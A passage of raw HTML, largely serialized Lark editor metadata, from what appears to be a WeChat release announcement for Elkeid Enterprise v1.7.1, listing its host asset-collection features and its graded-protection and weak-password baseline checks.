4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.415625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a00ddf2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkC2zGVf7L2Ufj155JfENGPibLxTqJBSdTAcP0AIyrs33I4bjYGK4sMszA%2F640%3Fwx_fmt%3Dpng"/></p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:89,&#34;end&#34;:89,&#34;blockIds&#34;:[96],&#34;recordIds&#34;:[&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;],&#34;recordMap&#34;:{&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;:{&#34;id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+l&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 该版本支持以下资产数据采集：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;:{&#34;id&#34;:&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1+1*0+f&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Cron 定时任务采集         &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;:{&#34;id&#34;:&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+l&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;发行版软件包采集             &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;:{&#34;id&#34;:&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;8d6d2284-d530-47d7-a099-f7fd0e8202fc\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_37230872\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+4*2+1*1+k&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;PYPI 软件包采集               &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;:{&#34;id&#34;:&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;fdc3798f-4298-4836-923c-dcfd5f8cf95e\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_36411838\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+4*2+1*1+g&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Java 软件包采集（支持fatjar） &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;:{&#34;id&#34;:&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+7*1+1*0+i&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Systemd 服务采集              &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;:{&#34;id&#34;:&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+n&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;开放端口采集                 &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;:{&#34;id&#34;:&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+n&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;常驻进程采集                 &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;:{&#34;id&#34;:&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+n&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;用户信息采集                 &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;:{&#34;id&#34;:&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;系统完整性信息采集&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>基线</strong><strong>检测</strong></p></li></ul><p>目前支持等级保护二，等级保护三与弱口令基线检测。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:94,&#34;end&#34;:95,&#34;blockIds&#34;:[110,111],&#34;recordIds&#34;:[&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;],&#34;recordMap&#34;:{&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;:{&#34;id&#34;:&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;379083a7-9a14-41ae-adcb-45c6a62fc2f0\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_42440638\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;2&#34;:[&#34;bold&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1*2+2*1*2+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;基线检测&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;:{&#34;id&#34;:&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[&#34;7088327726926495745&#34;],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34